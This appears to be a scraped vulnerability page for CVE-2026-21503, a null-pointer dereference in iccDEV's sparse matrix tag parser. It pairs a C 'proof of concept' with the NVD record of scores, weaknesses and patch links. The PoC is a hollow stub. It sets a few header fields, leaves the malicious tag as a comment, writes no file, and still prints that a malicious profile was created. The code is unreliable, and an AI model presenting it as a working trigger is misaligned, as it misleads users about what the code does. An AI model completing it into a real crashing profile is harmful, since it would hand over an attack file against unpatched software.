CVE-2026-21503

// PoC for CVE-2026-21503: Null pointer dereference in CIccTagSparseMatrixArray // This PoC creates a malicious ICC profile that triggers the vulnerability #include <stdio.h> #include <stdlib.h> #include <string.h> #include <cstdint> // ICC Profile Header Structure struct ICCProfileHeader { uint32_t size; uint32_t magic; uint32_t version; uint32_t profile_class; uint32_t color_space; uint32_t pcs; uint32_t creation_date[3]; uint32_t signature; uint32_t platform; uint32_t flags; uint32_t device_manufacturer; uint32_t device_model; uint32_t device_attributes[2]; uint32_t rendering_intent; uint32_t pcs_illuminant[3]; uint32_t creator; uint32_t profile_id[4]; } __attribute__((packed)); // Malicious SparseMatrixArray tag to trigger null pointer in memcpy unsigned char* createMaliciousICCProfile() { unsigned char* profile = (unsigned char*)malloc(1024); if (!profile) return NULL; memset(profile, 0, 1024); // Set up profile header ICCProfileHeader* header = (ICCProfileHeader*)profile; header->size = 1024; header->magic = 0x61637370; // 'acsp' header->version = 0x04000000; // Version 4.0 header->profile_class = 0x73636E72; // 'scnr' header->color_space = 0x52474220; // 'RGB ' header->pcs = 0x58595A20; // 'XYZ ' // Fill remaining header fields... // The PoC demonstrates the vulnerability by crafting a profile // that will cause CIccTagSparseMatrixArray to pass NULL to memcpy // when parsing malformed sparse matrix array data. // To trigger: Load this profile using vulnerable iccDEV version < 2.3.1.2 // Expected result: Application crash due to null pointer dereference return profile; } int main() { printf("CVE-2026-21503 PoC - iccDEV Null Pointer Dereference\n"); printf("This PoC creates a malicious ICC profile.\n"); printf("Load with vulnerable iccDEV version to trigger the bug.\n"); unsigned char* poc = createMaliciousICCProfile(); if (poc) { printf("Malicious ICC profile created successfully.\n"); free(poc); } return 0; }

{"cve": {"id": "CVE-2026-21503", "sourceIdentifier": "[email protected]", "published": "2026-01-07T18:15:54.390", "lastModified": "2026-01-09T21:34:09.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of ICC color management profiles. Prior to version 2.3.1.2, iccDEV has undefined behavior due to a null pointer passed to memcpy() in CIccTagSparseMatrixArray. This issue has been patched in version 2.3.1.2."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas que permiten la interacción, manipulación y aplicación de perfiles de gestión de color ICC. Antes de la versión 2.3.1.2, iccDEV presenta un comportamiento indefinido debido a un puntero nulo pasado a memcpy() en CIccTagSparseMatrixArray. Este problema ha sido parcheado en la versión 2.3.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-131"}, {"lang": "en", "value": "CWE-476"}, {"lang": "en", "value": "CWE-628"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/55259a6395c4f6124b5d0e38469c77412926bd3d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/367", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/417", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-h554-qrfh-53gx", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}